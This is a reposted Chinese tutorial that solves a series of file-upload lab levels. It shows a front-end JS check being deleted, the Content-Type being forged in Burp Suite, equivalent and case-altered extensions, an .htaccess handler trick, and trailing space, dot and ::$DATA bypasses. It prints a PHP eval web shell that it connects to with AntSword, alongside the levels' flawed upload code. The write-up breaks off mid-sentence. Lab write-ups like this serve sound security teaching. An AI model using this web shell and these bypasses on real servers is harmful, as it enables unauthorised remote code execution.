赞
踩
上传图片,发现上传成功
上传 shell 发现:
发现是白名单,所以由前面我们知道,极有可能在前端存在过滤,我们检查一下:
发现 checkFile() 起到了检查过滤的效果,我们将其删去并提交 发现:
然后用中国以蚁剑 进行链接 发现成功
发现成功
同时我们发现仅仅在前端进行过滤是远远不够的,我们可以轻易的删去,所以除了前端,后端也必须进行校验
如果我们在使用蚁剑发现了返回值为空说明一句话木马语法错误,如果我们发现返回值是一串乱码 则是链接地址填写错误
正确的 shell 写法:
<?php phpinfo(); @eval($_POST['shell']); ?>
我们先看一下它的源码:
$is_upload = false; $msg = null; if (isset($_POST['submit'])) { if (file_exists($UPLOAD_ADDR)) { if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) //重点!!! { if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) { $img_path = $UPLOAD_ADDR . $_FILES['upload_file']['name']; $is_upload = true; } } else { $msg = '文件类型不正确,请重新上传!'; } } else { $msg = $UPLOAD_ADDR.'文件夹不存在,请手工创建!'; } }
发现:
if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
$img_path = $UPLOAD_ADDR . $_FILES['upload_file']['name'];
$is_upload = true;
}
} else {
$msg = '文件类型不正确,请重新上传!';
这时候我们就会产生疑问:浏览器是如何获得我们上传文件的类型呢
这里就涉及到MIME类型(多用途互联网邮件扩展类型)
MIME(Multipurpose Internet Mail Extensions)多用途互联网邮件扩展类型。是设定某种扩展名的文件用一种应用程序来打开的方式类型,当该扩展名文件被访问的时候,浏览器会自动使用指定应用程序来打开。多用于指定一些客户端自定义的文件名,以及一些媒体文件打开方式。
它是一个互联网标准,扩展了电子邮件标准,使其能够支持:
非ASCII字符文本;非文本格式附件(二进制、声音、图像等);由多部分(multiple parts)组成的消息体;包含非ASCII字符的头信息(Header information)。
常见类型:
文件上传 | multipart/from-data |
---|---|
超文本标记语言文本 . | text/html |
xml文档 .xml | text/xml |
XHTML文档 .xhtml | application/xhtml+xml |
jpg图片格式 | image/jpeg |
RTF文本 .rtf | application/rtf |
PDF文档 .pdf | application/pdf |
Microsoft Word文件.word | application/msword |
MIME用法:
客户端用法:
服务端使用:
所以在做这道题的时候要想变法 将其content-type 改掉
所以我们使用 burp suite 进行抓包改包
找到将 content-type 其改掉
改为 image/jpeg;
点击发送,
我们按照上一关的方法利用 burpsuite 来进行改包 发现失败:
我们发现题中说不允许上传 .asp,.aspx,.php,.jsp 后缀文件
那么我们就想能否在更改后缀名的同时不改变文件性质
很巧的是:
在文件中存在等价扩展名
语言 | 等价扩展名 |
---|---|
asp | asa, cer, cdx |
aspx | ashx, asmx, ascx |
php | php2 php3 php4 phps phtml |
jsp | jspx jspf |
所以这道题的解题思路就是 改变我们一句话木马的后缀名 从而达到绕过的目的
当然也可以在 burp suite上进行更改:
将 后缀名 .php 改为 .php2 即可上传成功
做完之后我们可以查看源码进行更加深入的了解:
$is_upload = false; $msg = null; if (isset($_POST['submit'])) { if (file_exists($UPLOAD_ADDR)) { $deny_ext = array('.asp','.aspx','.php','.jsp'); $file_name = trim($_FILES['upload_file']['name']); $file_name = deldot($file_name);//删除文件名末尾的点 $file_ext = strrchr($file_name, '.'); $file_ext = strtolower($file_ext); //转换为小写 $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA $file_ext = trim($file_ext); //收尾去空 if(!in_array($file_ext, $deny_ext)) { if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR. '/' . $_FILES['upload_file']['name'])) { $img_path = $UPLOAD_ADDR .'/'. $_FILES['upload_file']['name']; $is_upload = true; } } else { $msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!'; } } else { $msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!'; } }
发现本题使用的是黑名单,禁止我们使用.asp,.aspx,.php,.jsp这些后缀
并且 我们仔细观察源代码之后,
于本题无关
我们就有了另一些做题的思路(不适用本题,建议在做的时候进行尝试进行判断):
$file_name = deldot($file_name);//删除文件名末尾的点
上传 shell.php.
$file_ext = strtolower($file_ext); //转换为小写
或者上传 shell.PHP (大小写绕过)
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
上传 shell.php::$DATA
$file_ext = trim($file_ext); //收尾去空
上传 shell.php (后跟空格)
我们先进行按照第三题的做法进行尝试,发现使用 .php3 不能将我们的木马上传进去,
之后进行源码查看,发现他的源代码很全面
$is_upload = false; $msg = null; if (isset($_POST['submit'])) { if (file_exists($UPLOAD_ADDR)) { $deny_ext = array(".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf"); $file_name = trim($_FILES['upload_file']['name']); $file_name = deldot($file_name);//删除文件名末尾的点 $file_ext = strrchr($file_name, '.'); $file_ext = strtolower($file_ext); //转换为小写 $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA $file_ext = trim($file_ext); //收尾去空 if (!in_array($file_ext, $deny_ext)) { if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) { $img_path = $UPLOAD_ADDR . $_FILES['upload_file']['name']; $is_upload = true; } } else { $msg = '此文件不允许上传!'; } } else { $msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!'; } }
确实我们之前的方法已经不能使用了。
所以 我们可以尝试将我们 一句话木马 的后缀名改为 .jpeg 看能否将我们的东西上传上去
发现上传成功!
之后我们使用中国蚁剑进行链接
发现链接失败
因为我们的 扩展名 是图片的后缀名 我们的服务器就会以处理图片的形式来处理图片
那我们该怎么办呢?
.htaccess——超文本入口
笼统地说,.htaccess可以帮我们实现包括:文件夹密码保护、用户自动重定向、自定义错误页面、改变你的文件扩展名、封禁特定IP地址的用户、只允许特定IP地址的用户、禁止目录列表,以及使用其他文件作为index文件等一些功能。
所以我们可以尝试使用 这个 超文本入口 来达到这个目的
.htaccess 文件内容:
<FilesMatch "shell.jpg"> //如果匹配到名为 shell.jpg 的文件 就执行该文件
SetHandler application/x-httpd-php //把文件当成php的代码来解析
</FilesMatch>
现在我们将该文件上传
然后使用 蚁剑 进行链接
然后我们发现链接失败 发现是 phpstudy集成环境中 php 的问题
因为在 小皮面板中 php 版本 是nts 意思是即非线程安全,不提供数据访问保护 不支持使用 .htaccess
我们进行常规测试:
检查js
上传 木马 发现失败
之后使用MIME绕过发现失败
然后检查黑白名单
文件上传成功!
同时我们查看源码:
$is_upload = false; $msg = null; if (isset($_POST['submit'])) { if (file_exists($UPLOAD_ADDR)) { $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess"); $file_name = trim($_FILES['upload_file']['name']); $file_name = deldot($file_name);//删除文件名末尾的点 $file_ext = strrchr($file_name, '.'); $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA $file_ext = trim($file_ext); //首尾去空 if (!in_array($file_ext, $deny_ext)) { if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) { $img_path = $UPLOAD_ADDR . '/' . $file_name; $is_upload = true; } } else { $msg = '此文件不允许上传'; } } else { $msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!'; } }
观察过后,我们发现在黑名单当中存在 .htaccess 所以上一关当中的 绕过也不可以使用
我们进行常规测试:
检查js
上传 木马 发现失败
之后使用MIME绕过发现失败
然后检查黑白名单
在这一关中我们无法将 后缀名后面添加空格,所以建议使用burpsuite来进行抓包改包
这一关的源码和上一关相似 也仅仅可以使用 空格绕过(以我们目前学过的方法来说)
经过常规测试后,我们发现本道题的绕过方式是:点绕过
同样,我们无法直接将 shell脚本的后缀直接改为 .php.
我们在BP中更改。
$is_upload = false; $msg = null; if (isset($_POST['submit'])) { if (file_exists($UPLOAD_ADDR)) { $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess"); $file_name = trim($_FILES['upload_file']['name']); $file_ext = strrchr($file_name, '.'); $file_ext = strtolower($file_ext); //转换为小写 $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA $file_ext = trim($file_ext); //首尾去空 if (!in_array($file_ext, $deny_ext)) { if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) { $img_path = $UPLOAD_ADDR . '/' . $file_name; $is_upload = true; } } else { $msg = '此文件不允许上传'; } } else { $msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!'; } }
发现这关的源代码有一句是我们不清楚的
$file_ext = strrchr($file_name, '.');
strrchr() 函数查找字符串在另一个字符串中最后一次出现的位置,并返回从该位置到字符串结尾的所有字符。
语法
strrchr(string,char)
参数 | 描述 |
---|---|
string | 必需。规定要搜索的字符串。 |
char | 必需。规定要查找的字符。如果该参数是数字,则搜索匹配此数字的 ASCII 值的字符。 |
所以如果我们采用 .php. 那么我们返回的就是 . 所以我们能够成功绕过黑名单
常规测试中,我们发现本题可以通过 添加字符串绕过
换句话说本题没有对后缀名进行去 ::DATA
处理
php在window的时候如果文件名+"::DATA"会把:
声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/花生_TL007/article/detail/436498
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。